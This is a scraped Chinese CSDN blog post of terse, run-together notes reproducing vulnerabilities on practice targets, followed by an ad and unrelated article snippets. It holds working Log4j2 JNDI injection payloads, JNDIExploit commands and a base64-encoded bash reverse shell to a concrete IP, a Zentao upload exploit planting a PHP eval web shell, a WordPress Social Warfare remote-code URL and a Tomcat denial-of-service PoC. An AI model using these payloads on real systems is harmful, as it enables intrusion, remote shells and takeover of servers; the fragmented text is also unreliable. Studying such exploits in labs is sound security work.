log4j2-rce-cve-2021-44228 漏洞复现_log4j2 复现 vps 开放端口-CSDN博客

i6bfpg.dnslog.cn/solr/admin/cores?action=${jndi:ldap://rcilyy.dnslog.cn}
${jndi:ldap://${sys:java.version}.rcilyy.dnslog.cn}http://domain/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.u8gtb8.dnslog.cn}${jndi:ldap://x❌x❌1389/Basic/Command/Base64/base64命令}
${jndi:ldap://39.105.154.133:1389/Basic/Command/Base64/bHM=}poc:ldap://null:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supporte实际构造:${jndi:ldap://39.105.154.133:1389/Basic/ReverseShell/39.105.154.133/9090}
——————————
java -jar JNDIExploit-2.0-SNAPSHOT.jar -i 39.105.154.133${jndi:ldap://39.105.154.133:1389/Basic/ReverseShell/39.105.154.133/9090}bash -i >& /dev/tcp/39.105.154.133/9999 0>&1java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuMTU0LjEzMy85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -A "39.105.154.133"rmi://39.105.154.133:1099/qxavqn${jndi:rmi://39.105.154.133:1099/2kzlcs}


禅道CMS

禅道项目管理软件是国产的开源项目管理软件。 账户密码为admin:123456

禅道CMS文件上传漏洞(CNVD-C-2020-121325)

准备工作 
1、在自己的服务器上创建shell.php 
内容为<?php phpinfo();?> 
2、将shell.php 放到web 服务器可以访问的目录3、对恶意文件地址进行base64编码利用poc远程下载文件 
http://靶场 ip/zentao/client-download-1
aHR0cDovL3h4eC54eHgueHh4Lnh4eC9zaGVsbC5waHA=-1.html 
访问shell 
http://靶场 ip/zentao/data/client/1/shell.php

ok,拿下。


禅道12.4.2后台管理员权限Getshell - FreeBuf网络安全行业门户

青岛易软天创网络科技有限公司禅道cms存在命令执行漏洞(CNVD-2020-45147)

12.3.2

【CNVD/CVE】CNVD-C-2020-121325-CSDN博客

aHR0cDovLzM5LjEwNS4xNTQuMTMzOjkwOTAvc2hlbGwucGhwzentao/client-download-1-aHR0cDovLzM5LjEwNS4xNTQuMTMzOjkwOTAvc2hlbGwucGhw-1.htmlzentao/data/client/1/shell.php<?php echo "<?php phpinfo();?>";
<?php echo "<?php @eval($_POST[2]);?>";SFRUUDovLzM5LjEwNS4xNTQuMTMzOjkwOTAvc2hlbGwucGhw
http://101.36.125.125:20092/zenteo/www/client-download-1-SFRUUDovLzM5LjEwNS4xNTQuMTMzOjkwOTAvc2hlbGwucGhw.html


cve-2019-9978

CVE-2919-9978 wordpress social warfare插件RCE | St1_Fn

登录---开启插件---构造利用

http://39.105.154.133:9090/test.txthttp://your-targetIP/wp-admin/admin.php?page=social-warfare&swp_debug=load_options&swp_url=http://you-attack-ip/test.txt
http://101.36.125.125:37769/wp-admin/admin.php?page=social-warfare&swp_debug=load_options&swp_url=http://39.105.154.133:9090/test.txt

猫咪&cve-2020-13935 (题重)


测试POC 
https://github.com/RedTeamPentesting/CVE-2020-139351. $ git clone https://github.com/RedTeamPentesting/CVE-2020-13935 
2. $ cd CVE-2020-13935 
3.go env -w GOPROXY=https://goproxy.cn 
4. $ go build 
5. $ ./tcdos ws://靶场ip/examples/websocket/echoStreamAnnotation


广x

打个广xxx :gpt教程:https://gitee.com/jinhu1/chatgpt-share

       加v:kiko_wp  ,发你永久免费的GPT授权码。


相关文章:

MS08067练武场--WP

免责声明&#xff1a;本文仅用于学习和研究目的&#xff0c;不鼓励或支持任何非法活动。所有技术内容仅供个人技术提升使用&#xff0c;未经授权不得用于攻击、侵犯或破坏他人系统。我们不对因使用本文内容而引起的任何法律责任或损失承担责任。 注&#xff1a;此文章为快速通关…...

ubuntu文件同步

1. 使用 rsync 同步文件 rsync 是一个常用的文件同步工具&#xff0c;可以在本地或远程系统之间同步文件和目录。 基本用法&#xff1a; rsync -avz /源目录/ 目标目录/-a&#xff1a;归档模式&#xff0c;保留文件属性。-v&#xff1a;显示详细输出。-z&#xff1a;压缩传输…...

C++23 新特性解析

引言&#xff1a;C的持续进化 在ISO C标准委员会的不懈努力下&#xff0c;C23作为继C20后的又一重要迭代版本&#xff0c;带来了十余项核心语言特性改进和数十项标准库增强。本文将深入解析最具实用价值的五大新特性&#xff0c;介绍std::expected到模块化革命。 编译器支持 …...

算法05-堆排序

堆排序详解 堆排序&#xff08;Heap Sort&#xff09;是一种基于二叉堆数据结构的排序算法。它的核心思想是利用堆的性质&#xff08;最大堆或最小堆&#xff09;来实现排序。堆排序分为两个主要步骤&#xff1a;建堆和排序。 1. 什么是堆&#xff1f; 堆是一种特殊的完全二叉…...

Arrays工具类详解

目录 1. Arrays.toString() 方法 2. Arrays.deepToString() 方法 3. Arrays.equals(int[ ] arr1, int[ ] arr2) 方法 4. Arrays.equals(Object[] arr1, Object[] arr2) 方法 5. Arrays.deepEquals(Object[] arr1, Object[] arr2) 方法 6. Arrays.sort(int[] arr) 方法 7…...

无人机图像拼接数据的可视化与制图技术:以植被监测为例

无人机技术在生态环境监测中的应用越来越广泛&#xff0c;尤其是在植被监测领域。通过无人机获取的高分辨率影像数据&#xff0c;结合GIS技术&#xff0c;可以实现对植被覆盖、生长状况等的精确监测与分析。本文将通过一个实际案例&#xff0c;详细讲解无人机图像拼接数据的可视…...

在 debian 12 上安装 mysqlclient 报错

报错如下 Looking in indexes: https://pypi.tuna.tsinghua.edu.cn/simple Collecting mysqlclientUsing cached https://pypi.tuna.tsinghua.edu.cn/packages/61/68/810093cb579daae426794bbd9d88aa830fae296e85172d18cb0f0e5dd4bc/mysqlclient-2.2.7.tar.gz (91 kB)Installi…...

python基础入门:7.1迭代器与生成器

Python迭代器与生成器深度解析&#xff1a;高效处理海量数据的利器 # 大文件分块读取生成器模板 def chunked_file_reader(file_path, chunk_size1024*1024):"""分块读取大文件生成器"""with open(file_path, r, encodingutf-8) as f:while Tru…...

Docker 容器 Elasticsearch 启动失败完整排查记录

背景 在服务器上运行 Docker 容器 es3&#xff0c;但 Elasticsearch 无法正常启动&#xff0c;运行 docker ps -a 发现 es3 处于 Exited (1) 状态&#xff0c;即进程异常退出。 本次排查从错误日志、容器挂载、权限问题、SELinux 影响、内核参数等多个方面入手&#xff0c;最…...

达梦数据使用笔记

相关文档&#xff1a; 达梦官网 达梦技术文档 1.安装完成后在开始菜单中搜索DM 目录&#xff1a;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\达梦数据库 下有所有相关信息 2.数据迁移 https://eco.dameng.com/document/dm/zh-cn/start/mysql_dm.html https:…...

操作系统中的任务调度算法

一、引言 在操作系统中&#xff0c;任务调度算法是核心组件之一&#xff0c;它负责合理分配有限的 CPU 资源&#xff0c;以确保系统的高效运行和良好的用户体验。任务调度的目标是实现公平性、最小化等待时间、提高系统吞吐量&#xff0c;并最大化 CPU 的利用率。不同的任务调…...

Linux 虚拟服务器(LVS)技术详解

一、LVS 概述 Linux 虚拟服务器&#xff08;Linux Virtual Server&#xff0c;简称 LVS&#xff09;是由章文嵩博士开发的一种开源的服务器集群技术&#xff0c;它工作在 Linux 内核空间&#xff0c;为构建高可用、可扩展的网络服务提供了一种高效的解决方案。LVS 可以将多个真…...

AIoT时代来临,物联网技术如何颠覆未来生活?

在这个万物互联的时代&#xff0c;“物联网”&#xff08;IoT&#xff09;正以前所未有的速度改变我们的生活&#xff0c;而“AIoT”则是在物联网基础上融入人工智能技术&#xff0c;赋予设备更高的智能和自主决策能力。随着5G、边缘计算和云技术的不断发展&#xff0c;物联网正…...

C++17 新特性解析

C++17 是 C++ 标准的一个重要更新,它在 C++11/14 的基础上引入了许多新特性,进一步简化了代码编写、提升了性能和类型安全性。以下是 C++17 的主要特性分类介绍: 一、语言核心改进 1. 结构化绑定(Structured Bindings) 允许将元组、结构体或数组的成员直接解包到变量中。…...

嵌入式软件C语言面试常见问题及答案解析(四)

嵌入式软件C语言面试常见问题及答案解析(四) 原本打算将链表相关的面试题整合到一个文档中,奈何写着写着就发现题目比较多,题型也比较丰富,所以导致上一篇已经足够长了,再长也就有点不礼貌了。 所以在这儿继续来总结分享那个面试中遇到的题目,文中的问题和提供的答案或者…...

在 C# 中,处理 Excel 和 PDF 文件的库有很多。以下是一些比较常用的选择

读取 Excel 文件的库 NPOI 用途&#xff1a;可以读取和写入 .xls 和 .xlsx 文件。特点&#xff1a;无需安装 Microsoft Office&#xff0c;支持简单的 Excel 操作&#xff0c;如格式化、公式、图表等。 EPPlus 用途&#xff1a;主要用于 .xlsx 格式&#xff08;Excel 2007 及以…...

绩效归因概述

绩效归因概述 1. 分类2. 基于净值的归因方法2.1 发展背景2.2 择时选股模型 T-M模型2.3 择时选股模型 H-M模型2.4 择时选股模型 C-L模型2.5 风格配置模型-Sharpe2.6 多因子模型 Fama-French32.7 多因子模型 Carhart42.8 多因子模型 Fama-French5 3. 基于持仓的归因方法3.1 发展背…...

Spring Boot 中加载多个 YAML 配置文件

在 Spring Boot 中加载多个 YAML 配置文件是一个常见的需求&#xff0c;通常用于将配置信息分离到多个文件中以便于管理和维护。Spring Boot 提供了灵活的方式来加载多个 YAML 配置文件。 以下是一些方法和步骤&#xff0c;用于在 Spring Boot 应用中加载多个 YAML 配置文件&a…...

厚植创新实力、聚焦生物科技:柏强制药的责任与机遇

在当今快速发展的医药行业中&#xff0c;创新已成为企业竞争的核心动力。贵州柏强制药作为医药领域的佼佼者&#xff0c;正以科技创新为引领&#xff0c;聚焦生物科技领域&#xff0c;不断突破&#xff0c;不仅为人民的健康事业贡献力量&#xff0c;更在激烈的市场竞争中抓住了…...

Linux中getifaddrs函数

文章目录 **函数原型****参数****返回值****释放资源****`struct ifaddrs` 结构****示例代码****输出示例****相关函数****总结**getifaddrs 是 Linux(以及其他 Unix-like 系统)中用于获取本机网络接口信息的系统调用。它提供了一种简单的方法来获取所有网络接口的地址信息,…...

【HarmonyOS Next 自定义可拖拽image】

效果图&#xff1a; 代码&#xff1a; import display from "ohos.display" import { AppUtil } from "pura/harmony-utils"/*** 自定义可拖拽图标组件*/ Component export default struct DraggableImage {imageResource?: ResourceimageHeight: numbe…...

解决No module named ‘llama_index.llms.huggingface‘

执行下面的脚本&#xff0c;报错No module named llama_index.llms.huggingface’执行下面的脚本&#xff0c;报错No module named llama_index.llms.huggingface’执行下面的脚本&#xff0c;报错No module named llama_index.llms.huggingface’执行下面的脚本&#xff0c;报…...

SearchBar组件的功能与用法

文章目录 1. 概念介绍2. 使用方法3. 代码与效果3.1 示例代码3.2 运行效果 4. 内容总结 我们在上一章回中介绍了"Material3中的IconButton"相关的内容&#xff0c;本章回中将介绍SearchBar组件.闲话休提&#xff0c;让我们一起Talk Flutter吧。 1. 概念介绍 我们在本…...

13.推荐系统的性能优化

接下来我们将学习推荐系统的性能优化。推荐系统的性能优化对于提升推荐结果的生成速度和系统的可扩展性至关重要&#xff0c;尤其是在处理大规模数据和高并发请求时。在这一课中&#xff0c;我们将介绍以下内容&#xff1a; 性能优化的重要性常见的性能优化方法实践示例 1. 性…...

Grafana-使用Button修改MySQL数据库

背景 众所周知&#xff0c;Grafana是一个用来展示数据的平台&#xff0c;但是有时候还是会有需求说能不能有一个按钮&#xff0c;点击的时候再对数据库进行修改&#xff0c;从而达到更新数据的效果 经过多方查证&#xff0c;终于实现了一个简单的&#xff0c;点击button执行sq…...

飞科FH6218电吹风异响维修

前言 本文仅记录一次普通的维修经历&#xff0c;解决方案也都是从网上查找资料得来&#xff0c;仅供参考&#xff0c;如有不对请指出&#xff0c;谢谢&#xff01; 现象 使用时出现异响&#xff0c;风速越大越响 参考视频 https://www.bilibili.com/video/BV1dD4y1x7hH/?…...

分治下的快速排序(典型算法思想)—— OJ例题算法解析思路

目录 一、75. 颜色分类 - 力扣(LeetCode) 运行代码: 一、算法核心思想 二、指针语义与分区逻辑 三、操作流程详解 四、数学正确性证明 五、实例推演(数组[2,0,2,1,1,0]) 六、工程实践优势 七、对比传统实现 八、潜在问题与解决方案 九、性能测试数据 十、扩展…...

Unity3D实现显示模型线框(shader)

系列文章目录 unity工具 文章目录 系列文章目录👉前言👉一、效果展示👉二、第一种方式👉二、第二种方式👉壁纸分享👉总结👉前言 在 Unity 中显示物体线框主要基于图形渲染管线和特定的渲染模式。 要显示物体的线框,通常有两种常见的方法:一种是利用内置的渲染…...

深度剖析责任链模式

一、责任链模式的本质&#xff1a;灵活可扩展的流水线处理 责任链模式&#xff08;Chain of Responsibility Pattern&#xff09;是行为型设计模式的代表&#xff0c;其核心思想是将请求的发送者与接收者解耦&#xff0c;允许多个对象都有机会处理请求。这种模式完美解决了以下…...

基于 openEuler 构建 LVS-DR 群集

一、 对比 LVS 负载均衡群集的 NAT 模式和 DR 模式&#xff0c;比较其各自的优势 。 二、 基于 openEuler 构建 LVS-DR 群集。 一 NAT 模式 部署简单&#xff1a;NAT 模式下&#xff0c;所有的服务器节点只需要连接到同一个局域网内&#xff0c;通过负载均衡器进行网络地址转…...